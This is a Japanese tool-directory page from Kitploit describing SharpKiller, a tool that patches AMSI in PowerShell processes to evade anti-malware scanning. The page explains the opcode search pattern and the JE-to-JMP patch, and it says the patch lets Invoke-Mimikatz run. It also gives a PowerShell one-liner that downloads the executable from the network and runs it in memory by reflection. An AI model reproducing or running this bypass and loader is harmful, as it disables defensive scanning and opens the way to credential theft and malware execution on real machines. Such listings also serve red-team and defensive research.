Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SharpKiller — @ZeroMemoryEx によるライフタイム AMSI バイパスを .NET Framework 4.8 に移植 | Kitploit
ツール/GitHubGitHub/s1lkys/sharpkiller
特権昇格エクスプロイトIDS/IPS回避ポストエクスプロイトレッドチーミングペイロード開発
GitHubs1lkys/sharpkiller

SharpKiller

@ZeroMemoryEx によるライフタイム AMSI バイパスを .NET Framework 4.8 に移植

リポジトリを見る
351431年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SharpKiller

Lifetime AMSI バイパス — @ZeroMemoryEx による AMSI-Killer を .NET Framework 4.8 に移植したものです。

追加の難読化が必要

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059

新たに統合された機能:

[ x ] - 0.5 秒ごとに新しい powershell プロセスをライブスキャン -> 新しい powershell インスタンスを自動的にパッチします

ソリューションのビルド

  • Build > 構成マネージャー でプラットフォームを明示的に x64 に設定してください

仕組み

オペコードスキャン

  • 各命令の最初のバイトを検索することでジャンプ命令の正確なアドレスを取得します。この手法は、対象データセットの更新や変更があっても有効です。

  • 例:

    | 48:85D2 | test rdx, rdx |

    | 74 3F | je amsi.7FFAE957C694 |

    | 48 : 85C9 | test rcx, rcx |

    | 74 3A | je amsi.7FFAE957C694 |

    | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

    | 74 33 | je amsi.7FFAE957C694 |

  • 検索パターンは次のようになります:

    { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

    image

パッチ

パッチ適用前

  • プログラムは RDX の値をそれ自体と比較します。比較結果が 0 の場合、プログラムはリターンへのジャンプを実行します。それ以外の場合、プログラムは次の命令の評価に進みます

    image

  • "Invoke-Mimikatz" を実行できません

    image

パッチ適用後

  • 最初のバイトをパッチして JE から JMP に変更し、直接リターンするようにします

    Screenshot 2023-02-26 195848

    image

  • これで "Invoke-Mimikatz" を実行できます

新しく作成されたプロセス

  • Sharp-Killer は新しく作成された Powershell プロセスをほぼリアルタイムでパッチします。

ビデオデモ

video

リフレクションで実行するワンライナー

root@kitploit:~
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));

前述のワンライナー使用時にこのエラーが発生しますか?

このメッセージを見て疑問に思ったことがあるなら、.NET AMSI インターフェースへようこそ! :-)

root@kitploit:~
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
  • https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

参照:

  • https://github.com/ZeroMemoryEx/Amsi-Killer
ツールをダウンロード